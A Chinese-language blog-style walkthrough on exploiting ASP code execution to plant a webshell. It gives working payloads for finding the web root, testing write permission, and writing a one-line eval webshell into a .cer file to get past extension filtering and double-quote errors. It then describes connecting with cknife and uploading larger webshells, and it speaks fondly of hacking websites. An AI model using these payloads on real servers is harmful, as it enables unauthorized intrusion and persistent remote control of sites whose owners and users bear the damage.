asp 代码执行如何写webshell注意事项

不存在误报

不存在误报但是使用蚁剑这些都连接不上。这时候就需要写shell了。写shell需要知道绝对路径我们获取一下绝对路径

asp

response.write(Server.MapPath("/"))

获取web根路径

这时候我们看根目录有没有权限写入文件

asp

a=Server.CreateObject("Scripting.FileSystemObject").CreateTextFile("D:\xxxx\test.txt",True).Write("test")

根目录写入测试文件

根目录写入测试文件

访问看看访问那直接写shell。访问成功说明根目录可写。如果访问404那么根目录不可写在找其他目录

测试文件

试发现只要是asp的后缀名称都是写入失败的我就不展示 了。那么我们可以写入cer这些后缀。并且写入的时候如果出现双引号”” 会报错我们可以绕过
写马

asp

Server.CreateObject("Scripting.FileSystemObject").CreateTextFile("D:\xx\test.cer",True).Write("<%25eval(request(chr(97)))%25>") 马子里面没有双引号直接绕过

写shell截图

使用cknife 连接 。 蚁剑这种连接不上。当然连接以后你要上传文件可能会出问题这种简单的一句话不是长久之计。我们要写写那种小马

写入小马

小马我就不贴了。自己修改一下就行了注意 双引号和换行这些这时候我们访问一下看看。使用url编码就行了
小马写入成功

小马写入成功

我们利用这个在写入一个小马。这个马是明小子工具里面的马我们抠出来这个确实好用。

写入马子

最后写一个大马怀旧一下。这个马应该是有个后门可以爆出密码。这些都无所谓主要是怀旧一下哈哈哈

致我们逝去的青春

致我们逝去的青春

总结

现在网站是越来越安全了。基本靠之前的手法搞很难搞了。另外现在waf比较多你要是一点代码都不会那么你将很被动。之前一个工具或者批量工具可以日站的日子没那么多了。现在需要人工配合工具。单纯靠工具getshell那是很费劲的。所以可以适当学习一门编程语言。

本文内容来自网络，如有侵权请联系删除